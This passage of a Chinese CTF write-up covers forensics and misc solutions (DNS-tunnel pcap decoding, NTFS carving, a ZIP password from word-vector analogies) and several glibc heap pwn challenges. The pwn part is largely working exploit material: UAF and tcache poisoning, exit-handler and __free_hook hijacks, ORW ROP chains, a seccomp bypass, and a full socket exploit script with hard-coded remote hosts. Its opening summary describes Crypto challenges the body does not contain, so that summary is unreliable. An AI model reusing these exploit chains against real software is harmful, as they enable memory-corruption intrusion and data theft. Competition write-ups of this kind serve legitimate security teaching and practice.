文章总结: 本文是AIxCybersecurityChallenge2026初赛的Writeup,由N1bbl3团队分享。内容涵盖三个Crypto题目的解题思路:CardSeed通过爆破种子空间和逆向shuffle还原flag;Drift利用RSA泄露的近似phi值,通过GCD分解N并解密;LuckyRand分析随机数生成器规律以恢复上下文。文章提供了详细的加密流程分析、关键弱点识别及可复现的解题脚本,展示了密码学攻击中的爆破、数学技巧和逆向方法。 综合评分: 87 文章分类: 漏洞分析,CTF,实战经验
1. 提取 DNS 分片
用 tshark 只导出 DNS query name:
tshark -r Mysterious_Code.pcapng \
-Y 'dns.flags.response == 0 && dns.qry.name contains "hackg.fun"' \
-T fields -e dns.qry.name > qnames.txt
本题有 EOF-... 作为结束标记,真正的数据分片格式是:
<index>-<base32_payload>.hackg.fun
注意不能直接按文本排序,因为 10 会排在 2 前面,必须按数字前缀排序。
2. Base32 还原 Base58 文本
将所有分片按数字序号拼接,再补齐 Base32 padding 解码。得到的内容不是二进制文件,而是一串 Base58 文本,开头类似:
4esgTWphJRtY1TgZmu4PhftBgVguEzFc...
处理脚本:
import base64
import re
from pathlib import Path
chunks = {}
for line in Path("qnames.txt").read_text().splitlines():
qname = line.strip().rstrip(".")
m = re.match(r"^(\d+)-([A-Z2-7]+)\.hackg\.fun$", qname)
if m:
chunks[int(m.group(1))] = m.group(2)
b32 = "".join(chunks[i] for i in sorted(chunks))
b32 += "=" * ((8 - len(b32) % 8) % 8)
b58 = base64.b32decode(b32)
Path("recovered.b58").write_bytes(b58)
3. 自定义 Base58 解码
这里不是常见的 Base64/Base62,而是自定义 Base58 字母表:
123456789abcdefghjklmnpqrstuvwxyzABCDEFGHIJKMNOPQRSTUVWXYZ
继续解码:
from pathlib import Path
alphabet = "123456789abcdefghjklmnpqrstuvwxyzABCDEFGHIJKMNOPQRSTUVWXYZ"
s = Path("recovered.b58").read_text().strip()
n = 0
for ch in s:
n = n * 58 + alphabet.index(ch)
out = n.to_bytes((n.bit_length() + 7) // 8, "big")
out = b"\x00" * (len(s) - len(s.lstrip(alphabet[0]))) + out
Path("encrypted.zip").write_bytes(out)
解出来的文件头为 ZIP:
50 4b 03 04 ...
本地验证时对应当前目录里的 ord_DLU.bin。ZIP 里只有一个文件 secret.png,压缩方式是 store,但 ZIP 的加密标志位为 1,说明用了传统 ZIPCrypto。
4. bkcrack 破解 ZIPCrypto
ZIP 中的文件名就是 secret.png,且压缩方式为 store,所以文件明文开头就是 PNG 文件头。PNG 固定头可以作为已知明文:
89504e470d0a1a0a0000000d49484452
用 bkcrack 恢复 key:
bkcrack -C encrypted.zip -c secret.png \
-x 0 89504e470d0a1a0a0000000d49484452
拿到输出的三段 key 后解密整个 ZIP:
bkcrack -C encrypted.zip -k <key0> <key1> <key2> -D decrypted.zip
再正常解压:
7z x decrypted.zip -odecrypted_out
解压后得到:
decrypted_out/secret.png
图片尺寸为 1460 x 228,内容是一行 ASCII-art flag。到这里题目核心已经完成,打开图片读取即可。
flag{Crack_is_to_ezzzzzzzz}
ntfs_dump
题目分析 附件解压后得到 ntfs_dump.bin,开头是 NTFS boot sector:
00000003: NTFS
但继续看会发现这不是正常 NTFS 文件系统。0x200 后开始大量重复 55 字节干扰模 式:
PDF-GIF87aGIF89a\x7fELFMZRIFFOggSfLaC…
里面故意塞了 PDF/GIF/ELF/MZ/RIFF/Ogg/FLAC/PK/PNG/JPEG 等文件头,用来误导 binwalk / foremost 之类工具。
隐藏数据恢复 过滤周期填充后,可以看到几个真实异常块。关键有两个长度都是 2177 的块:
0x591090 len 2177 0x5af00 len 2177
第二段末尾能看到 zip 中央目录和 EOCD:
PK 01 02 … text.txt PK 05 06 …
中央目录显示 zip 内有一个 text.txt,大小 0x1090 = 4240 字节。第一个块附近 的 0x59108c 有 zip local header 的 PK\x03\x04,但中间夹了 4 字节干扰,需要 跳过。
最终重组 zip:
part1 = img[0x59108c:0x591090] + img[0x591094:0x591911] part2 = img[0x5af00:0x5b781] zbytes = part1 + part2
读出 text.txt 后内容仍然像随机数据。观察长度:
4240 = 265 * 16
按 16 路反交织:
plain = b”.join(payload[i::16] for i in range(16))
开头直接出现 flag。
Solve 脚本
from pathlib import Path import zipfile, io, re
zip_path = next(Path(".").glob("ntfs_dump_*.zip"))
with zipfile.ZipFile(zip_path, "r") as zf: img = zf.read("ntfs_dump.bin")
part1 = img[0x59108c:0x591090] + img[0x591094:0x591911] part2 = img[0x5af00:0x5b781] zbytes = part1 + part2
with zipfile.ZipFile(io.BytesIO(zbytes)) as zf: payload = zf.read("text.txt")
plain = b"".join(payload[i::16] for i in range(16)) flag = re.search(rb"FLAG{}+}", plain).group().decode() print(flag)
FLAG{DE6DDD7A-5D57-415A-99D7-6C0CE3F688BC}
Riddler
目录中有两个主要文件:
secret.txt:提示文本flag.zip:加密压缩包,内部只有flag.txt
先查看压缩包结构,可知 flag.txt 未压缩大小为 38 字节,符合 flag{...} 格式。
import zipfile
z = zipfile.ZipFile("flag.zip")
for info in z.infolist():
print(info.filename, info.file_size, info.compress_size, hex(info.flag_bits))
flag_bits 中包含加密标志,说明需要从 secret.txt 中得到密码。
分析 secret.txt
核心提示是 7 行形如:
A is to B, ? is to C
例如:
بعدكـ is to رباعيه, ? is to love-buzz
الْحي is to toyota, ? is to الغيـرة
feriass is to dham, ? is to much
...
文本中还提示:
unfinished language experimentnot every sentence is usefulnot hidden by frequency analysis, base conversion, or direct translationsimilar-looking patterns can be accidental
这些内容说明重点不是翻译、词频、进制转换或直接字符串处理,而是“语言实验”里的词关系。
这些词包含多语言、错拼、连字符和社交媒体风格词,比较符合 GloVe Twitter 词表。因此按词向量类比处理。
词向量类比
每一行可理解为:
A : B = ? : C
等价于求:
result = vector(B) – vector(A) + vector(C)
然后在词表中找余弦相似度最高的词。
使用 glove-twitter-25 模型计算得到:
| A | B | C | result | | — | — | — | — | | بعدكـ | رباعيه | love-buzz | ctf | | الْحي | toyota | الغيـرة | maybe | | feriass | dham | much | you | | ميسيnn | دعواتكمn | were | are | | يصيير | newt | ta | ai | | لأمانة | roan | viral | master | | elain | omán | dy | ado |
拼接 7 个结果:
ctfmaybeyouareaimasterado
这就是压缩包密码。
解密
import zipfile
password = b"ctfmaybeyouareaimasterado"
with zipfile.ZipFile("flag.zip") as z:
print(z.read("flag.txt", pwd=password).decode())
flag{39fc0ee0f9da4fa397631f0dcba31555}
Pwn
DynamicExitBistro
題目描述
Welcome to DynamicExitBistro. You may order anything on the menu, but the exit opens only to “qualified” guests approved by the CNN. 欢迎光临 DynamicExitBistro。这里的菜品可以自由点单,但出口只向通过 CNN 认证的“合格”客人开放。
题目给了目标程序 exit_bistro、配套 libc.so.6 和 ld-linux-x86-64.so.2。运行方式:
./ld-linux-x86-64.so.2 --library-path . ./exit_bistro
远端:
nc 36.213.142.158 20781
保护情况:
- 64-bit PIE
- NX enabled
- Canary enabled
- Full RELRO
- glibc 2.41
- binary/libc 带 IBT/SHSTK note
本题最终利用脚本见 exploit.py,不依赖 pwntools 或 numpy。
功能逆向
程序维护 32 个 ticket,每个 ticket 大致结构如下:
struct ticket {
void *ptr;
size_t size;
int state; // 0 empty, 1 active, 2 closed
int tag;
};
主要菜单功能:
reserve table: 用calloc(1, size)分配 active ticket。rush reservation: 用malloc(size)分配 active ticket。revise active order: 对 active ticket 执行read(0, ptr, size)。review ticket: active ticket 输出size字节;closed ticket 只输出 8 字节。close ticket: 对 ticket 的ptr执行free。active ticket 会被置为 closed,但ptr不清空。restamp closed ticket: 对 closed ticket 写*(uint64_t *)(ptr + 8) = stamp。submit model head: 提交 8 个 signed heads,通过后开放隐藏菜单 8。service ritual: 只影响内部 seed,不是最终控制流关键点。
漏洞点
核心问题是 close ticket 后没有清空 ptr,因此 closed ticket 仍然可被 review 和 restamp 使用。
1. UAF Read
ticket 被 free 后仍可 review。小 chunk 进入 tcache 后,前 8 字节是 safe-linking 后的 fd。
当 tcache bin 里只有一个 chunk 时:
fd = NULL ^ (chunk_addr >> 12)
因此 free 后 review 8 字节即可泄露:
heap_key = heap_base >> 12
2. UAF Write
restamp closed ticket 会写 free chunk 的 ptr + 8。
glibc tcache double-free 检查依赖 freed chunk 的 key 字段,也就是用户区 ptr + 8。通过 restamp 将其改成 0,可以绕过 double-free 检查。
3. Tcache Poisoning
单纯 double-free 两次不够,因为 glibc 2.41 tcache 有 count 检查。利用时需要先额外放入一个同 size chunk,把 count 撑到 3:
free(B)
free(A)
restamp(A, 0)
free(A)
tcache: A -> A -> B
count = 3
随后:
malloc() -> A
write A->fd = target ^ heap_key
malloc() -> A
malloc() -> target
这样就得到任意 16 字节对齐地址上的 active ticket。配合:
review: 任意读revise: 任意写
模型门绕过
程序启动时会随机生成 8 个 signed heads,范围大致是 [-40, 40],并生成 32 个模型输出。模型权重在 .rodata 的 0x3320,公开文件 model_public/public.json 给出了模数和噪声范围:
{
"q": 65537,
"noise_bound": 2,
"num_samples": 32,
"secret_bound": 40
}
程序内部模型输出位于堆上初始 malloc(0x110) 的用户区偏移 heap_base + 0x2b0。通过前面的 tcache poisoning,将一个 active ticket 指向该地址,review 0x110 字节即可读取 32 个输出。
注意:tcache 取出伪造 chunk 时会写 target + 8 = 0,所以第 1 个输出被破坏。解模型时忽略 outputs[1]。
恢复方法:
- 取 8 条未损坏方程。
- 枚举每条方程噪声
[-2, 2],共5^8 = 390625种。 - 在模
65537下矩阵求逆,得到 8 维 secret。 - 检查 secret 是否都在
[-40, 40],并用剩余方程校验噪声范围。
得到 head 后提交菜单 0,即可进入隐藏菜单 8。
Libc 泄露
分配一个大于 tcache 范围的 chunk,再在后面放一个 guard chunk,释放前者进入 unsorted bin:
rush(20, 0x500)
rush(21, 0x30)
close(20)
review(20, 8)
泄出的 fd 指向 main_arena 附近,本题 glibc 2.41 中偏移为:
libc_base = leak - 0x1d3d00
最终控制流劫持
glibc 2.41 中 __free_hook 不再适合作为劫持点。本题选择覆盖 libc 的 exit handler。
exit() 会调用:
__run_exit_handlers(…, &__exit_funcs, …)
libc 中的 initial exit handler 地址:
initial = libc_base + 0x1d51e0
handler 结构中函数指针使用 pointer mangling:
mangled = rol64(func ^ pointer_guard, 17)
pointer guard 可以从栈上的 AT_RANDOM 获取:
- 任意读
environ = libc_base + 0x1db018,得到栈地址。 - 从该栈地址附近向高地址扫描 auxv。
- 找到类型
25,即AT_RANDOM。 AT_RANDOM + 8处为 pointer guard。
然后伪造 initial handler:
next = 0
idx = 1
flavor = 4 // ef_cxa
func = rol64(system ^ pointer_guard, 17)
arg = "/bin/sh"
dso = 0
写入:
libc_base + 0x1d51e0
最后选择菜单 6 调用 exit,触发:
system("/bin/sh")
远端结果
执行:
printf 'cat flag; cat /home/ctf/flag; exit\n' | ./exploit.py 36.213.142.158 20781
flag{1jslhgsbrjcd7q1udk4j7jq5ihs5ii0m}
HeapORW
附件包含目标程序 hris、对应 libc.so.6 和利用脚本 employee_exploit.py。目标是一个员工信息管理程序,菜单功能包括新增、删除、修改、查看员工信息。
保护情况:
Arch: amd64 RELRO: Full RELRO Canary: Enable NX: Enable PIE: Enable
程序保护基本全开,不能直接改 GOT,也不能执行栈上 shellcode。程序还启用了 seccomp,过滤规则会拦截 execve,因此最终不能直接 system("/bin/sh"),需要使用 ORW 链读取 flag。
功能分析
程序维护两个全局数组:
char *employee_list[7];
int size_list[7];
主要功能如下:
add_employee:输入 id 和 size,要求 id 在0-6,size 在1-1024,然后malloc(size)并用read(0, ptr, size)读入内容。remove_employee:释放对应 chunk,并把指针和 size 清零。modify_employee:修改对应员工信息。show_employee:使用%s打印员工信息。
关键漏洞在 modify_employee:
read(0, employee_list[id], size_list[id] + 1);
修改时比原始申请大小多读 1 字节,形成 off-by-one overflow。
同时,show_employee 使用 %s 输出堆内容:
printf("Employee's personal information: %s\n", employee_list[id]);
因为新增和修改都不会自动补 \x00,所以可以利用残留堆元数据泄漏 heap/libc 地址。
利用思路
整体利用链如下:
- 填满
0x400tcache bin,利用残留 tcache fd 泄漏 heap 地址。 - 利用 off-by-one 清掉相邻 chunk 的
PREV_INUSE位。 - 在前一个 chunk 的用户区伪造 fake chunk,触发 backward consolidation。
- 让伪造 chunk 进入 unsorted bin,通过
show泄漏 main_arena,计算 libc 基址。 - 从 unsorted chunk 中切出一个
0x410chunk,释放后进入 tcache。 - 利用仍可控的旧指针修改 tcache fd,完成 tcache poisoning,把下一次分配劫持到
__free_hook。 - 写
__free_hook = setcontext + 53,在堆上布置 ORW ROP 链。 - 调用
free(ptr)触发setcontext+53,执行open/read/write读取 flag。
泄漏 heap 地址
脚本首先申请并释放 7 个 0x3f8 大小的 chunk:
for i in range(7):
c.add(i, 0x3F8, b"A" * 0x3F8)
for i in range(7):
c.remove(i)
0x3f8 请求在 glibc 2.27 下对应 0x400 chunk size。释放 7 次后,0x400 tcache bin 被填满。
随后重新申请一个 0x3f8 chunk,只写入 1 字节:
c.add(0, 0x3F8, b"\x60")
heap_response = c.show(0)
tcache chunk 被重新分配出来后,用户区开头仍残留原来的 tcache fd 指针。由于只覆盖了最低 1 字节,后续字节还保留为堆地址。show 使用 %s 输出,可以读出这部分残留指针。
脚本中根据固定堆布局计算 heap base:
leaked_heap_node = u64(heap_blob[:6])
heap = leaked_heap_node - 0x1660
这里的 0x1660 是脚本根据本题二进制和 glibc 2.27 环境确定的 tcache fd 指针相对 heap base 的偏移。
构造 fake chunk 并触发 backward consolidation
泄漏 heap 后,脚本重新布置 3 个相邻 chunk:
c.add(0, 0xF8, b"a" * 0xF8) # A
c.add(1, 0x400, b"b" * 0x3F0 + p64(0) + p64(0x21)) # B
c.add(2, 0x18, b"c" * 0x18) # C
其中:
- A:大小
0xf8,实际 chunk size 为0x100,用于放置 fake chunk。 - B:大小
0x400,实际 chunk size 为0x410,后续作为被破坏的 victim。 - C:防止 B 和 top chunk 发生不期望的合并。
脚本在 A 的用户区伪造 chunk 头:
fake_chunk = heap + 0x1E60
forge = p64(0) + p64(0xF1) + p64(fake_chunk) + p64(fake_chunk)
forge = forge.ljust(0xF0, b"P") + p64(0xF0) + b"\x00"
c.modify(0, forge)
这段 payload 做了几件事:
- 在 A 的用户区开头伪造一个 size 为
0xf0的 free chunk。 fd和bk都指向 fake chunk 自身,用于通过 unlink 检查。- 在偏移
0xf0处覆盖 B 的prev_size = 0xf0。 - 最后 1 字节 off-by-one 覆盖 B 的 size 低字节,把
0x411改成0x400,从而清除PREV_INUSE位。
之后释放 B:
c.remove(1)
因为前面已经填满 0x400 tcache bin,被篡改 size 后的 B 不会进入 tcache,而是走正常 free 流程。glibc 发现 B 的 PREV_INUSE 被清零,会根据 prev_size = 0xf0 向前找到 fake chunk,并执行 backward consolidation。最终得到一个起始位置在 fake chunk 的 unsorted bin chunk。
此时 index 0 的指针仍然指向 fake chunk 所在区域,因此可以继续通过 index 0 操作这个已经进入 unsorted bin 的 chunk。
泄漏 libc 地址
unsorted bin chunk 的 fd/bk 会指向 main_arena 附近。为了让 %s 输出能读到 fd,脚本先把 fake chunk 开头 16 字节改成非零字符,同时保留后面的 fd/bk:
c.modify(0, b"Q" * 16)
libc_response = c.show(0)
main_arena_pointer = u64(libc_blob[16:22])
libc = main_arena_pointer - 0x3EBCA0
0x3EBCA0 是题目所给 libc.so.6 中 unsorted bin 泄漏指针对应的固定偏移。由此得到 libc 基址。
tcache poisoning 劫持 __free_hook
拿到 libc base 后,脚本先恢复合并后 chunk 的大小:
c.modify(0, p64(0) + p64(0x4F1))
fake chunk 大小 0xf0,B 被改后的大小 0x400,合并后总大小为 0x4f0,带 PREV_INUSE 位即 0x4f1。
随后从这个 unsorted chunk 中切出一个 0x410 chunk,并释放到 tcache:
c.add(1, 0x400, b"R" * 0x20)
c.remove(1)
此时释放后的 chunk 用户区开头保存 tcache fd。index 0 仍然指向 fake chunk 起始位置,正好可以覆盖这个 tcache fd:
free_hook = libc + 0x3ED8E8
c.modify(0, p64(0) + p64(0x411) + p64(free_hook))
glibc 2.27 没有 safe-linking,因此 tcache fd 可以直接写成目标地址。之后连续申请两次 0x400:
c.add(1, 0x400, frame) # 取回原 tcache chunk,写入 setcontext frame 和 ROP
c.add(3, 0x400, p64(setcontext_53)) # 分配到 __free_hook,写入 setcontext+53
第二次申请会返回 __free_hook,从而把 __free_hook 改成 setcontext + 53。
构造 ORW ROP 链
由于 seccomp 禁止 execve,不能直接 getshell。脚本选择 ORW:
open(flag_path, O_RDONLY)
read(3, buf, 0x100)
write(1, buf, 0x100)
exit()
关键 libc 偏移如下:
SETCONTEXT_53 = 0x52085
OPEN = 0x10FBF0
READ = 0x110020
WRITE = 0x1100F0
EXIT = 0x43110
POP_RDI = 0x2164F
RET = 0x21650
POP_RSI = 0x23A6A
POP_RDX = 0x130516
触发 free(ptr) 时,free 会调用 __free_hook(ptr),因此进入 setcontext+53 时 rdi 正好是堆上可控 frame 的地址。
脚本利用 setcontext+53 的行为:
[rdi + 0xa0]设置为新的rsp。[rdi + 0xa8]设置为第一条执行的 gadget。
于是将 frame 布置为:
frame[0xA0:0xA8] = p64(chain_addr)
frame[0xA8:0xB0] = p64(pop_rdi)
frame[0x180:...] = flag_path + b"\x00"
frame[0x208:...] = rop_chain
最终释放该 chunk:
c.remove(1, wait_for_menu=False)
程序执行:
free(chunk)
-> __free_hook(chunk)
-> setcontext+53
-> pivot 到堆上 ROP
-> open/read/write 输出 flag
flag{ljsm68ne7pmj40ludk4j7jq5qjs5ii8o}
ProtoLeak
A message-driven service handles user data through a structured interface, but its internal state is not as well protected as it appears. Study the service behavior and find a way to retrieve the flag. 一個以結構化介面處理使用者資料的服務,看似運作正常,但內部狀態並沒有想像中安全。請研究服務行為,想辦法取得 flag。 一个以结构化接口处理用户数据的服务,看似运行正常,但内部状态并没有想象中安全。请研
题目给了 pwn、libc.so.6、ld-linux-x86-64.so.2 和 libprotobuf-c.so.1.0.0。
Arch: amd64 PIE: enabled RELRO: Full RELRO NX: enabled Canary: enabled
程序是 protobuf-c 封装的堆菜单。输入格式为:
8 bytes little endian length || protobuf payload
根据符号和访问偏移可以还原消息结构:
message Msg {
enum Menu {
create = 0;
delete = 1;
edit = 2;
show = 3;
exit = 4;
}
Menu choice = 1;
uint64 index = 2;
bytes content = 3;
}
全局数组在 PIE 内的偏移:
content = pie + 0x4080
content_size = pie + 0x4180
used = pie + 0x4280
漏洞点
UAF write
delete(index) 会:
free(content[index]);
used[index] = 0;
但是没有清空 content[index] 和 content_size[index]。
edit(index, size, data) 只检查:
index <= 0x1f
size <= content_size[index]
没有检查 used[index],所以释放后仍可以通过 edit 写 freed chunk,形成 UAF write。
short read 造成残留数据被 protobuf 解析
主循环中两次 read 都没有检查返回值:
read(0, &size, 8);
buf = malloc(size);
read(0, buf, size);
msg = msg__msg__unpack(NULL, size, buf);
远端是 socket,read(fd, buf, size) 可以短读。只要声明一个较大的 protobuf 长度,但实际只发送前几个字节,后面的内容会保留 malloc chunk 中的旧数据。
protobuf 解析时仍按声明长度 size 处理这块内存,因此可以用旧 chunk 里的 libc/heap/PIE 指针构造泄露。
另外 protobuf 允许重复字段,所以可以用大量合法的 choice=0 字段作为 padding,把 content 字段的数据起点移动到旧 chunk 的指定偏移。
泄露
PIE leak
先发送一个长度为 0x501 的正常 raw protobuf 包,让堆上残留大量 protobuf descriptor 指针。
随后发送一个短读包,将 content 字段的数据起点移动到旧 chunk 中含有 msg__msg__field_descriptors 指针的位置。
show(1) 后,前 8 字节为:
pie + 0x3a40
所以:
pie = leak - 0x3a40
libc 和 heap leak
清理前两个槽位后,申请 8 个 0x400 note,再释放 7 个,使后续 short-read create 从 unsorted 相关 chunk 中复制出残留指针。
发送 content_len = 0x3ef 的短读 create,再 show(0)。
在最终 exploit 的堆布局下:
libc = u64(leak[5:13]) - 0x21b0d0
heap = u64(leak[13:21]) - 0x2820
任意读写
最终流程中,再申请两个 0x2e8 chunk,其用户区偏移稳定为:
slot1 = heap + 0x3450
slot2 = heap + 0x3740
释放 slot1、slot2 后,通过 UAF 修改 slot2 的 tcache forward pointer:
target = pie + 0x4080 # content[]
encoded = target ^ ((heap + 0x3740) >> 12)
edit(2, p64(encoded))
再触发一次同 size 分配,最终可以覆盖 .bss 上的 content[]、content_size[] 和 used[],构造:
content[8] = arbitrary_read_addr
content[9] = pie + 0x4080
content_size[8] = read_size
content_size[9] = 0x2e8
used[8] = used[9] = 1
这样:
show(8) -> arbitrary read
edit(9, ...) -> 改写全局表,更新 arbitrary read 目标
先读 libc + environ 泄露栈地址:
environ = libc + 0x222200
再从 environ 附近向下扫描,找到当前 show() 返回到 main 的地址:
pie + 0x18bf
这个栈地址就是后续 edit() 返回时可以劫持的返回地址槽。
ROP
本地和远端均可直接 ORW。最终链:
openat(AT_FDCWD, "/flag", 0)
read(3, heap_buf, 0x100)
write(1, heap_buf, 0x100)
使用 libc gadget:
pop rdi; ret = libc + 0x2a3e5
pop rsi; ret = libc + 0x2be51
pop rdx; pop rbx; ret = libc + 0x904a9
pop rax; ret = libc + 0x45eb0
syscall; ret = libc + 0x91316
ret = libc + 0x29139
Exploit
import socket
import struct
import time
import select
HOST = "36.213.142.14"
PORT = 29343
p64 = lambda x: struct.pack("<Q", x)
u64 = lambda b: struct.unpack("<Q", b.ljust(8, b"\0"))[0]
def varint(x):
out = bytearray()
while x >= 0x80:
out.append((x & 0x7f) | 0x80)
x >>= 7
out.append(x)
return bytes(out)
def raw(payload):
return p64(len(payload)) + payload
def msg(choice, index=0, content=b""):
payload = (
b"\x08" + varint(choice) +
b"\x10" + varint(index) +
b"\x1a" + varint(len(content)) + content
)
return raw(payload)
def recv_some(io, timeout=0.25):
end = time.time() + timeout
data = b""
io.setblocking(False)
while time.time() < end:
r, _, _ = select.select([io], [], [], max(0, end - time.time()))
if not r:
break
try:
chunk = io.recv(0x10000)
except BlockingIOError:
break
if not chunk:
break
data += chunk
io.setblocking(True)
return data
def send(io, data, timeout=0.25):
io.sendall(data)
return recv_some(io, timeout)
def prep_payload(length=0x501, content_len=0x400):
pre = b"\x1a" + varint(content_len)
rest = length - len(pre) - content_len
return pre + b"A" * content_len + b"\x08\x00" * (rest // 2) + (b"\x08"if rest & 1 else b"")
def pad_choice(n):
if n % 2 == 0:
return b"\x08\x00" * (n // 2)
return b"\x08\x80\x00" + b"\x08\x00" * ((n - 3) // 2)
def shifted_packet(prefix_len, content_len=0x400):
tag = b"\x1a" + varint(content_len)
return p64(prefix_len + content_len) + pad_choice(prefix_len - len(tag)) + tag
def short_create(content_len):
pre = b"\x1a" + varint(content_len)
return p64(len(pre) + content_len) + pre
def fake_table(pie, read_addr, read_size=0x400):
buf = bytearray(0x2e8)
def w(off, value):
buf[off:off + 8] = p64(value)
w(0x40, read_addr) # content[8]
w(0x48, pie + 0x4080) # content[9]
w(0x140, read_size) # content_size[8]
w(0x148, 0x2e8) # content_size[9]
buf[0x208] = 1 # used[8]
buf[0x209] = 1 # used[9]
return bytes(buf)
def exploit(path=b"/flag"):
io = socket.create_connection((HOST, PORT), timeout=8)
# PIE leak.
send(io, raw(prep_payload()), 0.3)
send(io, shifted_packet(0x128), 0.3)
pie_leak = send(io, msg(3, 1), 0.3)
pie = u64(pie_leak[:8]) - 0x3a40
# Clean slots used by PIE leak.
send(io, msg(1, 0), 0.2)
send(io, msg(1, 1), 0.2)
# libc + heap leak.
for _ in range(8):
send(io, msg(0, 0, b"A" * 0x400), 0.2)
for i in range(7):
send(io, msg(1, i), 0.2)
send(io, short_create(0x3ef), 0.2)
leak = send(io, msg(3, 0), 0.3)[:-3]
libc = u64(leak[5:13]) - 0x21b0d0
heap = u64(leak[13:21]) - 0x2820
print("[+] pie =", hex(pie))
print("[+] libc =", hex(libc))
print("[+] heap =", hex(heap))
# Tcache poison to overwrite content/content_size/used tables.
send(io, msg(0, 0, b"X" * 0x2e8), 0.2)
send(io, msg(0, 0, b"Y" * 0x2e8), 0.2)
send(io, msg(1, 1), 0.2)
send(io, msg(1, 2), 0.2)
target = pie + 0x4080
slot2 = heap + 0x3740
send(io, msg(2, 2, p64(target ^ (slot2 >> 12))), 0.2)
environ = libc + 0x222200
send(io, msg(0, 0, fake_table(pie, environ, 8)), 0.3)
env = u64(send(io, msg(3, 8), 0.3)[:8])
print("[+] environ =", hex(env))
# Find return address pie+0x18bf on stack.
ret_addr = None
for delta in range(0, 0x10000, 0x400):
addr = (env - delta) & ~0xf
send(io, msg(2, 9, fake_table(pie, addr, 0x400)), 0.15)
data = send(io, msg(3, 8), 0.2)
if data.endswith(b"OK\n"):
data = data[:-3]
for off in range(0, len(data) - 7, 8):
if u64(data[off:off + 8]) == pie + 0x18bf:
ret_addr = addr + off
break
if ret_addr:
break
if ret_addr is None:
raise RuntimeError("return address not found")
print("[+] ret =", hex(ret_addr))
# Make slot8 point to saved RIP and write ORW chain.
send(io, msg(2, 9, fake_table(pie, ret_addr, 0x300)), 0.2)
pop_rdi = libc + 0x2a3e5
pop_rsi = libc + 0x2be51
pop_rdx_rbx = libc + 0x904a9
pop_rax = libc + 0x45eb0
syscall = libc + 0x91316
ret = libc + 0x29139
heap_buf = heap + 0x9000
path_off = 0x180
path_addr = ret_addr + path_off
chain = [
ret,
pop_rax, 257,
pop_rdi, (1 << 64) - 100,
pop_rsi, path_addr,
pop_rdx_rbx, 0, 0,
syscall,
pop_rax, 0,
pop_rdi, 3,
pop_rsi, heap_buf,
pop_rdx_rbx, 0x100, 0,
syscall,
pop_rax, 1,
pop_rdi, 1,
pop_rsi, heap_buf,
pop_rdx_rbx, 0x100, 0,
syscall,
]
rop = b"".join(p64(x) for x in chain)
rop = rop.ljust(path_off, b"B") + path + b"\0"
out = send(io, msg(2, 8, rop), 1.0)
out += recv_some(io, 2.0)
print(out.decode("latin1", "replace"))
if __name__ == "__main__":
exploit()
flag{1jsli537hbm5c71udk4j7jq5ips5ii0u}
rest2
A seemingly simple interactive function can have a serious impact. 一個看似簡單的交互功能,卻能造成嚴重影響。 一个看似简单的交互功能,却能造成严重影响。
1. 程序功能
程序是一个典型堆菜单题,提供四个功能:
- Add
- Delete
- Show
- Edit
程序维护两个全局数组:
- chunk size 数组
- chunk pointer 数组
Add 根据输入 size 申请堆块并写入内容。Delete 释放指定堆块。Show 打印指定堆块内容。Edit 修改指定堆块内容。
保护情况:
- PIE 开启
- Full RELRO
- NX
- Canary
- 程序安装了 seccomp 过滤器
2. 漏洞点
核心漏洞是 UAF。
Delete 调用 free(ptr) 后没有清空指针,也没有清空 size,所以释放后的 chunk 仍然可以通过 Show 和 Edit 访问。
由此可以做到:
- 释放 large chunk 后通过
Show泄露 unsorted bin 指针,得到 libc base - 释放 tcache chunk 后通过
Show泄露 safe-linking key - 通过
Edit修改 freed chunk 的 tcache key,绕过 tcache double free 检测 - double free 后篡改 tcache fd,实现任意地址分配
tcache poisoning 的基本流程如下:
free(victim)
show(victim) # 泄露 safe-linking key
edit(victim, p64(key)+p64(0)) # 清 tcache key,绕 double free
free(victim)
edit(victim, p64(target ^ key))
malloc(size)
malloc(size) # 返回 target 附近
3. libc 泄露
申请一个大于 tcache 范围的 chunk,例如 0x500,释放后进入 unsorted bin。此时 freed chunk 的 fd 指向 main_arena+0x60。
远程附件 libc 中:
unsorted fd offset = 0x21ace0
所以:
libc_base = unsorted_leak – 0x21ace0
实际远程运行时可以稳定得到 libc base。
4. 栈地址泄露
拿到 libc base 后,利用 __environ 泄露栈地址。
附件 libc 中:
__environ offset = 0x222200
通过 tcache poisoning 把 chunk 分配到 __environ 附近,然后 Show 读出 environ 的值,即可得到一个栈地址。
当前 exploit 中远程使用:
environ – saved_rip = 0x140
注意这里的 0x140 是命令行参数 --offset 的语义,即 saved RIP 的位置。实际写入时目标地址是:
target = saved_rip – 8
也就是 add() 函数栈帧里的 saved rbp 槽。payload 前 8 字节覆盖 saved rbp,后面紧跟 ROP 链。函数结尾执行 leave; ret 后即可进入 ROP。
等价地看:
environ – target = 0x148
所以有些 writeup 里写 delta = 0x148,指的是覆盖起点 saved rbp,不是 saved RIP。
5. 远程 seccomp 限制
程序本身安装了 seccomp。根据 BPF 逻辑,程序内层过滤器主要限制:
read(fd != 0) => kill read(fd == 0) => allow 其它大部分 syscall => allow
如果只有这一层过滤器,常见做法是:
open(“/flag”) sendfile(1, fd, NULL, 0x100)
但远程环境还有额外的外层 seccomp。实际测试中:
write allow close allow open(2) allow read(0) allow openat killed sendfile killed readv killed pread64 killed dup/dup2 killed execve killed
因此以下方案都不能用:
- libc
open():glibc 内部通常走openat,远程会被杀 open + sendfileopen + readvopen + pread64open + dup2(fd, 0) + read(0)execve("/bin/sh", ...)
必须使用裸 syscall open(2),并且只能让 read 的第一个参数保持为 0。
6. 绕过思路:close(0) + open
过滤器判断的是 syscall 参数里的 fd 数值,不关心 fd 0 实际指向什么。
因此可以先关闭 stdin:
close(0)
然后再裸 syscall 打开 flag:
open("/flag", O_RDONLY)
Linux 会返回当前最小可用 fd。由于 fd 0 刚被关闭,open("/flag", 0) 会返回 0。
接下来执行:
read(0, buf, 0x100)
write(1, buf, 0x100)
此时 read 的参数仍然是 fd = 0,能通过程序内层 seccomp;而 fd 0 实际已经指向 /flag,所以读到的就是 flag 内容。
这条链同时满足两层 seccomp:
- 外层允许
close/open/read/write - 内层允许
read(0)
7. ROP 链
使用附件 libc 中的 gadget:
| gadget | offset |
| — | — |
| ret | 0x29139 |
| pop rax ; ret | 0x45eb0 |
| pop rdi ; ret | 0x2a3e5 |
| pop rsi ; ret | 0x2be51 |
| pop rdx ; pop rbx ; ret | 0x904a9 |
| syscall ; ret | 0x91316 |
最终 ROP:
write(1, "Z", 1) # marker,可选
close(0)
open("/flag", 0, 0) # 返回 fd 0
read(0, buf, 0x100)
write(1, buf, 0x100)
全部使用裸 syscall:
close syscall number = 3
